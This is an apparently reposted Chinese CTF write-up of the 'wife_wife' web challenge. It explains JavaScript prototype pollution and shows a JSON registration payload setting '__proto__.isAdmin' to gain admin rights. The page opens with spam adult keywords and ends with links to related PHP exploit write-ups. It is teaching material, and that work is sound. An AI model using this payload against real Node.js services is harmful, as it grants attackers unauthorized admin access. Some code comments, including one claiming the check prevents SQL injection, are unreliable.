国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析

這篇具有很好參考價(jià)值的文章主要介紹了[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

姿勢(shì)

該題涉及Java Script原型鏈污染:JavaScript 原型鏈污染講解

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析,網(wǎng)絡(luò)安全,# CTF賽題,web安全,安全,網(wǎng)絡(luò)安全

可以看到,后端編程語(yǔ)言為Node.js,

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析,網(wǎng)絡(luò)安全,# CTF賽題,web安全,安全,網(wǎng)絡(luò)安全
簡(jiǎn)單來(lái)講,通過(guò) newUser.__proto__ 可以訪問(wèn)到新對(duì)象的原型

未污染時(shí):

baseUser = {
    a:1
}
user = {
    a:2,
    b:1,
    __proto__:{
        c:3
    }
}
 
// 淺復(fù)制一個(gè)對(duì)象,第一個(gè)參數(shù)位是對(duì)象的內(nèi)容,后面的參數(shù)位是多個(gè)對(duì)象內(nèi)容疊加進(jìn)去,進(jìn)行復(fù)制出一個(gè)全新的對(duì)象
let newUser = Object.assign({}, baseUser, user)  

// 輸出結(jié)果為{a:2,b:1},無(wú)污染
console.log(newUser)  // {a: 2, b: 1}  
console.log(newUser.__proto__)  
//{constructor: ?, __defineGetter__: ?, __defineSetter__: ?, hasOwnProperty: ?, __lookupGetter__: ?, …}

污染時(shí):

baseUser = {
    a:1
}
 

user = JSON.parse('  {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }}  ')
let newUser = Object.assign({}, baseUser, user)
 

console.log(newUser)//輸出{a: 2, b: 1}
 
console.log(newUser.__proto__) //被污染,輸出{c: 4},而__proto__沒(méi)有被輸出的原因是它為隱藏屬性

我們以知識(shí)點(diǎn)的利用為主,查看源代碼:

// post請(qǐng)求的路徑
app.post('/register', (req, res) => {
 
    let user = JSON.parse(req.body)  // 將輸入的賬號(hào)密碼從json字符串轉(zhuǎn)成對(duì)象
 
    // 判斷有沒(méi)有輸入賬號(hào)和密碼
    if (!user.username || !user.password) {  
        return res.json({ msg: 'empty username or password', err: true })
    }
    // 判斷賬號(hào)是否存在總對(duì)象的username里,若注冊(cè)時(shí)輸入的用戶名相同,則輸出用戶名已存在
    if (users.filter(u => u.username == user.username).length) {  
        return res.json({ msg: 'username already exists', err: true })
    }
    //如果用戶是管理員但邀請(qǐng)碼不匹配,會(huì)將 user.isAdmin 設(shè)為 false,并返回一個(gè)錯(cuò)誤的 JSON 響應(yīng)。
//由于邀請(qǐng)碼是常量 INVITE_CODE,其值在代碼執(zhí)行期間不會(huì)發(fā)生變化。這意味著無(wú)論用戶提交的邀請(qǐng)碼是什么,其與 INVITE_CODE 的比較結(jié)果將在代碼執(zhí)行前就已經(jīng)確定。因此,無(wú)論用戶如何構(gòu)造輸入,都不能通過(guò)修改邀請(qǐng)碼來(lái)改變條件判斷的結(jié)果,防止了SQL注入。
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
 
    // 使用系統(tǒng)函數(shù)復(fù)制對(duì)象,打包成一個(gè)新的對(duì)象
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)  // 存到總對(duì)象里
    res.json({ msg: 'user created successfully', err: false })  // 設(shè)置返回信息
})

若isAdmin的屬性是true,則它為管理員,否則為普通用戶;于是我們可構(gòu)造污染。

注冊(cè)頁(yè)面抓包:

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析,網(wǎng)絡(luò)安全,# CTF賽題,web安全,安全,網(wǎng)絡(luò)安全

{"username":"1","password":"1","isAdmin":true,"inviteCode":"11"}

構(gòu)造為

{"username":"2","password":"1",
"__proto__":{
"isAdmin":true
}
}
//由于之前注冊(cè)過(guò)username為1,若重新注冊(cè)會(huì)回顯exist,因此這里將username修改為2

污染成功:

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析,網(wǎng)絡(luò)安全,# CTF賽題,web安全,安全,網(wǎng)絡(luò)安全

重新登錄得到flag:

[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析,網(wǎng)絡(luò)安全,# CTF賽題,web安全,安全,網(wǎng)絡(luò)安全


總結(jié)

該題考察JavaScript 原型鏈污染,讀者可躬身實(shí)踐。

我是秋說(shuō),我們下次見(jiàn)。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-742123.html

到了這里,關(guān)于[CTF/網(wǎng)絡(luò)安全] 攻防世界 wife_wife 解題詳析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 PHP2 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 PHP2 解題詳析

    翻譯: 你能給這個(gè)網(wǎng)站進(jìn)行身份驗(yàn)證嗎? index.php是一個(gè)常見(jiàn)的文件名,通常用于Web服務(wù)器中的網(wǎng)站根目錄下。它是默認(rèn)的主頁(yè)文件名,在訪問(wèn)一個(gè)網(wǎng)站時(shí),如果沒(méi)有特別指定頁(yè)面文件名,則服務(wù)器會(huì)自動(dòng)加載index.php文件。 在Web應(yīng)用程序中,index.php文件通常是網(wǎng)站的入口文件

    2024年02月13日
    瀏覽(27)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 simple_php 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 simple_php 解題詳析

    題目描述:小寧聽(tīng)說(shuō)php是最好的語(yǔ)言,于是她簡(jiǎn)單學(xué)習(xí)之后寫了幾行php代碼。 $a=@$_GET[\\\'a\\\']; 從HTTP GET請(qǐng)求參數(shù)中獲取一個(gè)名為a的變量,并將其賦值給變量a。@符號(hào)用于禁止錯(cuò)誤輸出,如果不存在參數(shù)a則會(huì)將變量a設(shè)置為NULL。 $b=@$_GET[\\\'b\\\']; 從HTTP GET請(qǐng)求參數(shù)中獲取一個(gè)名為b的變量,

    2024年02月13日
    瀏覽(19)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 view_source 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 view_source 解題詳析

    題目描述:X老師讓小寧同學(xué)查看一個(gè)網(wǎng)頁(yè)的源代碼,但小寧同學(xué)發(fā)現(xiàn)鼠標(biāo)右鍵好像不管用了。 單擊鼠標(biāo)右鍵,點(diǎn)擊查看頁(yè)面源代碼: 使用瀏覽器菜單:不同的瀏覽器可能會(huì)在不同的位置提供查看頁(yè)面源代碼的選項(xiàng)。 以Firefox為例,打開(kāi)應(yīng)用程序菜單即可: 使用快捷鍵:幾乎

    2024年02月13日
    瀏覽(27)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    由于index.php在/var/www/html目錄下,而flag.php與index.php同為php文件,故猜想flag.php也在該目錄下。 查看頁(yè)面源代碼獲取更多信息: 源代碼中看到 @include($lan.\\\".php\\\"); ,即此處存在文件包含。 又因?yàn)?$lan = $_COOKIE[\\\'language\\\']; 因此解題思路為:利用php偽協(xié)議,構(gòu)造language參數(shù),來(lái)讀取該目

    2024年02月07日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 php_rce 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 php_rce 解題詳析

    PHP RCE 指的是通過(guò)遠(yuǎn)程代碼執(zhí)行漏洞(Remote Code Execution)來(lái)攻擊 PHP 程序的一種方式。簡(jiǎn)單來(lái)說(shuō),由于PHP應(yīng)用程序沒(méi)有正確處理外部輸入數(shù)據(jù)(如用戶提交的表單、請(qǐng)求參數(shù)等),攻擊者通過(guò)某些手段向 PHP 應(yīng)用程序中注入惡意代碼,然后通過(guò)這些惡意代碼實(shí)現(xiàn)對(duì)受攻擊服務(wù)器

    2024年02月06日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 weak_auth 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 weak_auth 解題詳析

    題目描述:小寧寫了一個(gè)登陸驗(yàn)證頁(yè)面,隨手就設(shè)了一個(gè)密碼。 weak_auth翻譯: 弱認(rèn)證 這個(gè)術(shù)語(yǔ)通常用來(lái)描述一種較弱的安全認(rèn)證方法或機(jī)制,它可能存在安全漏洞,易受到攻擊或者被繞過(guò)。 在信息安全領(lǐng)域中,弱認(rèn)證是一種常見(jiàn)的安全威脅。例如,使用簡(jiǎn)單的密碼或者未加

    2024年02月13日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 disabled_button 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 disabled_button 解題詳析

    題目描述:X老師今天上課講了前端知識(shí),然后給了大家一個(gè)不能按的按鈕,小寧驚奇地發(fā)現(xiàn)這個(gè)按鈕按不下去,到底怎么才能按下去呢? 題目提示 前端知識(shí) ,由HTML相關(guān)知識(shí)可知,該按鈕 即input標(biāo)簽 不能提交的原因有以下六種: 沒(méi)有包含在表單中: input 標(biāo)簽必須包含在表

    2024年02月07日
    瀏覽(23)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 command_execution 解題詳析

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 command_execution 解題詳析

    題目描述:小寧寫了個(gè)ping功能,但沒(méi)有寫waf,X老師告訴她這是非常危險(xiǎn)的,你知道為什么嗎。 ping 命令是一個(gè)常用的網(wǎng)絡(luò)命令,用于測(cè)試兩臺(tái)計(jì)算機(jī)之間網(wǎng)絡(luò)連接的連通性。通過(guò)向目標(biāo)計(jì)算機(jī)發(fā)送 ICMP 協(xié)議的數(shù)據(jù)包,并等待目標(biāo)計(jì)算機(jī)返回響應(yīng)數(shù)據(jù)包來(lái)測(cè)試網(wǎng)絡(luò)的可達(dá)性,同時(shí)

    2024年02月06日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 file_include 解題詳析(php偽協(xié)議+convert轉(zhuǎn)換過(guò)濾器)

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 file_include 解題詳析(php偽協(xié)議+convert轉(zhuǎn)換過(guò)濾器)

    題目描述:怎么讀取文件呢? 思路: 由代碼審計(jì)可知,可通過(guò)filename參數(shù)構(gòu)造POC,來(lái)讀取check.php POC的構(gòu)造涉及PHP偽協(xié)議,參考鏈接: 文件包含 | PHP偽協(xié)議實(shí)戰(zhàn) POC: 回顯如下: 猜測(cè)被過(guò)濾,怎么辦呢? 該題涉及到 convert轉(zhuǎn)換過(guò)濾器 常見(jiàn)的convert轉(zhuǎn)換過(guò)濾器有這兩種:

    2024年02月07日
    瀏覽(24)
  • [CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)

    [CTF/網(wǎng)絡(luò)安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)

    這段代碼首先通過(guò) show_source(__FILE__) 顯示當(dāng)前文件的源代碼,然后通過(guò) $_GET[\\\'hello\\\'] 顯示 URL 參數(shù)中名為 hello 的值。 接下來(lái),代碼使用 $_GET[\\\'page\\\'] 獲取 URL 參數(shù)中名為 “page” 的值,并進(jìn)行字符串替換,將 php:// 替換為空字符串 這是為了防止通過(guò) URL 參數(shù)加載本地文件或其他可

    2024年02月08日
    瀏覽(28)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包